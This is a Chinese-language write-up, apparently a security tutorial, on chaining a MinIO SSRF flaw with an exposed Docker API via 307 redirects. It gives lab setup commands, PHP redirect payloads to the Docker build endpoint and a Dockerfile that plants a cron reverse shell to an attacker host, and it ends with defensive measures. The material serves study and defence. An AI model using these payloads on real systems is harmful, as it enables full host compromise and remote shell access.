307 跳转 getshell
字数 1369 2025-08-22 12:23:30
MinIO SSRF漏洞与Docker API未授权访问结合利用分析
1. 漏洞背景
1.1 MinIO SSRF漏洞
MinIO是一个高性能对象存储服务,在RELEASE.2021-01-30T00-20-58Z之前的版本中存在服务器端请求伪造(SSRF)漏洞。该漏洞源于MinIO会从HTTP头Host中获取地址并构造新的URL,攻击者可以通过控制Host头实现SSRF攻击。
1.2 Docker API未授权访问
Docker Swarm是Docker的集群管理工具,使用标准的Docker API通过2375端口管理节点。当2375端口直接暴露且未做权限检查时,存在未授权访问漏洞,攻击者可执行任意Docker操作,包括获取宿主机权限。
2. 环境搭建
2.1 开启Docker API
# 修改Docker配置
vim /etc/docker/daemon.json
# 添加以下内容
{
"hosts": ["tcp://0.0.0.0:2375", "unix:///var/run/docker.sock"]
}
# 重启Docker服务
systemctl restart docker
2.2 安装MinIO
docker pull minio/minio:RELEASE.2021-01-30T00-20-58Z
docker run -p 9000:9000 minio/minio server /data
验证环境是否搭建成功:
- 访问http://your-ip:9000应出现MinIO登录界面
- 访问http://your-ip:2375/version应返回Docker版本信息
3. 漏洞分析
3.1 MinIO SSRF机制
MinIO在处理请求时:
- 从Host头获取"自己的地址"
- 使用该地址构造新的URL
- 由于未对Host头进行严格验证,导致SSRF漏洞
3.2 Docker API未授权风险
通过未授权的Docker API可以:
- 运行任意容器
- 挂载宿主机目录
- 写入定时任务或SSH密钥
- 获取宿主机shell
4. 漏洞利用
4.1 基础探测
# 探测MinIO服务
curl -v http://target:9000
# 探测Docker API
curl http://target:2375/version
4.2 SSRF利用
通过修改Host头实现SSRF:
POST / HTTP/1.1
Host: 127.0.0.1:2375
...
4.3 302跳转限制
传统302跳转会将POST转为GET,无法保持原始请求方法。
4.4 307跳转优势
307跳转特点:
- 保持原始请求方法(POST/PUT等)
- 可传递原始请求参数
- 适用于需要保持请求方法的场景
PHP实现307跳转:
<?php
header("Location: http://127.0.0.1:2375/v1.41/images/create?fromImage=alpine&tag=latest", true, 307);
?>
4.5 Docker API利用链
- 通过SSRF访问Docker API
- 使用307跳转保持POST方法
- 利用Docker API的GET参数创建容器
关键API端点:
/v1.41/images/create?fromImage=alpine&tag=latest
5. 完整攻击流程
5.1 准备恶意Dockerfile
FROM alpine
RUN echo '* * * * * /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1' > /var/spool/cron/root
5.2 搭建HTTP服务
将Dockerfile放在Web服务器可访问路径:
python3 -m http.server 8000
5.3 构造307跳转
修改跳转目标为Docker构建API:
<?php
header("Location: http://127.0.0.1:2375/v1.41/build?dockerfile=http://attacker-ip:8000/Dockerfile", true, 307);
?>
5.4 发起攻击
- 向MinIO发送恶意请求,Host头指向127.0.0.1:2375
- MinIO会向Docker API发起请求
- 307跳转保持POST方法并传递构建参数
- Docker从攻击者服务器拉取恶意Dockerfile并构建镜像
- 镜像运行时写入定时任务
- 攻击者监听4444端口获取反弹shell
6. 防御措施
6.1 MinIO防护
- 升级到最新版本
- 严格验证Host头
- 限制内部网络访问
6.2 Docker防护
- 禁止Docker API直接暴露在公网
- 使用TLS认证
- 配置防火墙规则限制访问
- 使用网络策略限制容器通信
7. 总结
该利用链结合了:
- MinIO的SSRF漏洞实现内网请求
- 307跳转保持请求方法
- Docker API的GET参数创建功能绕过限制
- 通过镜像构建实现命令执行
这种攻击方式展示了如何将看似有限的SSRF漏洞转化为完整的系统入侵,强调了纵深防御的重要性。